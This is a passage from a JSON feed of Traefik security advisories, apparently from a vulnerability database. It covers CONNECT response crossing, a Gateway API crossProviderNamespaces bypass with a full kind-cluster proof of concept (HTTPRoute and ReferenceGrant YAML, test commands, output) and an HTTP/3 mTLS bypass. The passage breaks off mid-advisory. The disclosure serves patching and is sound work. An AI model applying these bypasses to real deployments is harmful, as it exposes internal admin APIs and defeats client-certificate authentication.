user's response,\n  0 read their own.\n\nThe captured crossing (`poc/evidence/RELEASE_v3.6.23_victim.json`): the victim sent\n`GET /get?tag=VICTIM_OWN` and received a 200 whose body is the response to\n`GET /delay/2?tag=ATTACKER_SMUGGLED` with the echoed header `X-Smuggled: released-v3.6.23`, none of\nwhich the victim sent.\n\n## Not affected\n\n- HTTP/1.1 frontend. An H1 CONNECT body cannot reach EOF without closing the connection, so the\n  backend socket is not pooled.\n- Experimental FastProxy (`experimental.fastProxy`). It chunk-frames the forwarded CONNECT body\n  (`Transfer-Encoding: chunked`, captured in `poc/evidence/wire_fastproxy_chunked.txt`), so the\n  trailing bytes are read as the CONNECT body, not a pipelined request. `safe-fast` is `NO_CROSS`.\n\n## ForwardAuth\n\nThe ForwardAuth middleware with `forwardBody: true` and `preserveRequestMethod: true` re-issues the\nrequest to the auth server as a CONNECT with the buffered body re-attached and `ContentLength` never\nset (`pkg/middlewares/auth/forward.go`). The auth client writes that body unframed to the auth\nserver (captured on the wire), so a keep-alive non-2xx from the auth server poisons the shared\nauth-client pool the same way.\n\n## Root cause\n\n`net/http` pools a connection after a keep-alive non-2xx response to a CONNECT whose body it wrote\nunframed. Traefik's default proxy forwards client CONNECT through a shared `net/http.Transport` and\napplies no CONNECT rejection. `sanitizePath` changes the emitted request target but does not remove\nthe defect. Traefik's own FastProxy implementation frames the CONNECT body and does not cross, which\nshows this is a property of the httputil/`net/http` path, not fixed by path normalization.\n\n## POC\n\n[poc.zip](https://github.com/user-attachments/files/29963125/poc.zip)\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-06T15:56:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-3ccp-42pg-hgv6","https://github.com/traefik/traefik/pull/13542","https://github.com/traefik/traefik/pull/13543","https://github.com/traefik/traefik/pull/13556","https://github.com/traefik/traefik/commit/04d36f28e4eae7535e96a6351dd9f7bfb48a30e7","https://github.com/traefik/traefik/commit/0807b6d5dd1da8b2f7f4076ea2392b5437bf2ab0","https://github.com/traefik/traefik/commit/94a7508817d180f0ab2f1eae93df48d4ab19ecce","https://github.com/traefik/traefik/releases/tag/v2.11.53","https://github.com/traefik/traefik/releases/tag/v3.6.24","https://github.com/traefik/traefik/releases/tag/v3.7.9","https://github.com/advisories/GHSA-3ccp-42pg-hgv6"],"source_kind":"github","identifiers":["GHSA-3ccp-42pg-hgv6","CVE-2026-71324"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-06T16:00:08.638Z","updated_at":"2026-10-12T08:01:58.527Z","epss_percentage":0.01063,"epss_percentile":0.63522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zY2NwLTQycGctaGd2Ns4ABhnZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zY2NwLTQycGctaGd2Ns4ABhnZ","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.7.9","vulnerable_version_range":"\u003e= 3.7.0, \u003c= 3.7.8"},{"first_patched_version":"3.6.24","vulnerable_version_range":"\u003c= 3.6.23"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.53","vulnerable_version_range":"\u003c= 2.11.52"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zY2NwLTQycGctaGd2Ns4ABhnZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02bXhxLWpyOTItM2gycs4ABfeC","url":"https://github.com/advisories/GHSA-6mxq-jr92-3h2r","title":"Duplicate Advisory: Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-qq9q-x9w4-chhj. This link is maintained to preserve external references.\n\n## Original Description\nTraefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware, potentially injecting trusted reverse-proxy identity headers into downstream requests. The issue is fixed in version 3.7.7.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-22T12:32:18.000Z","withdrawn_at":"2026-08-05T21:49:07.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj","https://nvd.nist.gov/vuln/detail/CVE-2026-65601","https://github.com/traefik/traefik/commit/26c96a3935cafb473f4a5bae1886560d9aa4e4f0","https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref","https://github.com/advisories/GHSA-6mxq-jr92-3h2r"],"source_kind":"github","identifiers":["GHSA-6mxq-jr92-3h2r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T22:00:10.116Z","updated_at":"2026-08-06T13:00:08.099Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bXhxLWpyOTItM2gycs4ABfeC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02bXhxLWpyOTItM2gycs4ABfeC","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.7.0, \u003c 3.7.7"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02bXhxLWpyOTItM2gycs4ABfeC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03bTNwLXdjNTItcm1jNs4ABfeF","url":"https://github.com/advisories/GHSA-7m3p-wc52-rmc6","title":"Duplicate Advisory: Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-42cj-m3vj-89wv. This link is maintained to preserve external references.\n\n## Original Description\nTraefik 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6 fail to enforce the crossProviderNamespaces allowlist for IngressRouteTCP service serversTransport references (the allowlist was only enforced for HTTP serversTransport references). A low-privileged Kubernetes user in a namespace not listed in crossProviderNamespaces can set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use a file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. This is fixed in 3.6.23 and 3.7.7.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-22T12:32:18.000Z","withdrawn_at":"2026-08-05T21:51:05.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/traefik/traefik/security/advisories/GHSA-42cj-m3vj-89wv","https://nvd.nist.gov/vuln/detail/CVE-2026-65602","https://github.com/traefik/traefik/commit/26c96a3935cafb473f4a5bae1886560d9aa4e4f0","https://www.vulncheck.com/advisories/traefik-before-ingressroutetcp-serverstransport-namespace-bypass","https://github.com/advisories/GHSA-7m3p-wc52-rmc6"],"source_kind":"github","identifiers":["GHSA-7m3p-wc52-rmc6"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T22:00:10.116Z","updated_at":"2026-08-06T13:00:08.096Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03bTNwLXdjNTItcm1jNs4ABfeF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03bTNwLXdjNTItcm1jNs4ABfeF","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.6.0, \u003c= 3.6.22"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03bTNwLXdjNTItcm1jNs4ABfeF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdnJnLXE2anctNDJwN84ABZSm","url":"https://github.com/advisories/GHSA-pvrg-q6jw-42p7","title":"Duplicate Advisory: Traefik vulnerable to HTTP/2 request causing denial of service ","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7v4p-328v-8v5g. This link is maintained to preserve external references.\n\n### Original DescriptionTraefik before 2.10.5 and 3.0.0-beta4 is affected by a denial-of-service vulnerability in HTTP/2 request handling inherited from the Go standard library's HTTP/2 implementation (CVE-2023-44487 / CVE-2023-39325, the 'Rapid Reset' technique). A remote attacker can rapidly create and cancel HTTP/2 streams to exhaust server resources and cause service unavailability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-23T15:32:36.000Z","withdrawn_at":"2026-09-22T19:37:41.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/traefik/traefik/security/advisories/GHSA-7v4p-328v-8v5g","https://nvd.nist.gov/vuln/detail/CVE-2023-54365","https://www.vulncheck.com/advisories/traefik-denial-of-service-via-http-2-request-handling","https://access.redhat.com/security/cve/CVE-2023-54365","https://bugzilla.redhat.com/show_bug.cgi?id=2491710","https://security.access.redhat.com/data/csaf/v2/vex/2023/cve-2023-54365.json","https://github.com/advisories/GHSA-pvrg-q6jw-42p7"],"source_kind":"github","identifiers":["GHSA-pvrg-q6jw-42p7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-22T20:00:13.033Z","updated_at":"2026-09-22T20:00:13.033Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdnJnLXE2anctNDJwN84ABZSm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdnJnLXE2anctNDJwN84ABZSm","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"2.10.5","vulnerable_version_range":"\u003c 2.10.5"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdnJnLXE2anctNDJwN84ABZSm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZzZ2LTJyNjgtcHJmY84ABY4P","url":"https://github.com/advisories/GHSA-3g6v-2r68-prfc","title":"Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services","description":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nThe Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n  kubernetesGateway:\n    crossProviderNamespaces:\n      - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n  - group: traefik.io\n    kind: TraefikService\n    name: api@internal\n    namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -\u003e kind NodePort -\u003e Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n  name: allow-attacker-to-traefikservice\n  namespace: trusted\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: attacker\n  to:\n    - group: traefik.io\n      kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: single-backend-control\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - control.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: mixed-backend-bypass\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - exploit.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1000000\n        - group: \"\"\n          kind: Service\n          name: whoami\n          port: 80\n          weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal              1000000\nattacker-whoami-http-80  1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n  Accepted=True\n  ResolvedRefs=False\n  Reason=RefNotPermitted\n  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n  Accepted=True\n  ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 \u0026\u0026 isInternalService(routeRule.BackendRefs[0].BackendRef):\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n    namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" \u0026\u0026 strings.Contains(string(backendRef.Name), \"@\") {\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -\u003e dashboard entrypoint /api/rawdata =\u003e 401 Unauthorized\nHost: dashboard.localhost -\u003e web entrypoint /api/rawdata =\u003e 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nweighted services:\napi@internal 1000\necho-svc      1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-17T14:01:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc","https://github.com/traefik/traefik/releases/tag/v3.6.21","https://github.com/traefik/traefik/releases/tag/v3.7.5","https://nvd.nist.gov/vuln/detail/CVE-2026-54761","https://github.com/advisories/GHSA-3g6v-2r68-prfc"],"source_kind":"github","identifiers":["GHSA-3g6v-2r68-prfc","CVE-2026-54761"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-17T15:00:08.452Z","updated_at":"2026-10-08T07:48:10.851Z","epss_percentage":0.00369,"epss_percentile":0.28541,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzZ2LTJyNjgtcHJmY84ABY4P","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZzZ2LTJyNjgtcHJmY84ABY4P","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.7.5","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c= 3.7.4"},{"first_patched_version":"3.6.21","vulnerable_version_range":"\u003c= 3.6.20"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.11.50"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZzZ2LTJyNjgtcHJmY84ABY4P/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Y3I4LXE0MnEtZzhtN84ABY02","url":"https://github.com/advisories/GHSA-9cr8-q42q-g8m7","title":"Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts","description":"## Summary\n\nThere is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.18\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik's HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`.\n\nThis is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:\n\n1. `Host(\"*.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.\n2. `Host(\"api.example.com\")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one.\n\nConfirmed versions:\n\n- wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1`\n- exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1`\n\n### Details\n\nHTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:\n\n```go\nh3.Server = \u0026http3.Server{\n    Addr:      config.GetAddress(),\n    Port:      config.HTTP3.AdvertisedPort,\n    Handler:   httpsServer.Server.(*http.Server).Handler,\n    TLSConfig: \u0026tls.Config{GetConfigForClient: h3.getGetConfigForClient},\n}\n```\n\nThe callback is wired to the TCP router's TLS selector:\n\n```go\nfunc (e *http3server) Switch(rt *tcprouter.Router) {\n    e.lock.Lock()\n    defer e.lock.Unlock()\n\n    e.getter = rt.GetTLSGetClientInfo()\n}\n```\n\nThe selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup:\n\n```go\nfunc (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {\n            return tlsConfig, nil\n        }\n\n        return r.httpsTLSConfig, nil\n    }\n}\n```\n\nThat creates two mismatches:\n\n- wildcard keys such as `*.example.com` are never matched for `api.example.com`\n- lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM`\n\nOn the later HTTP request path, the same host can still match wildcard or 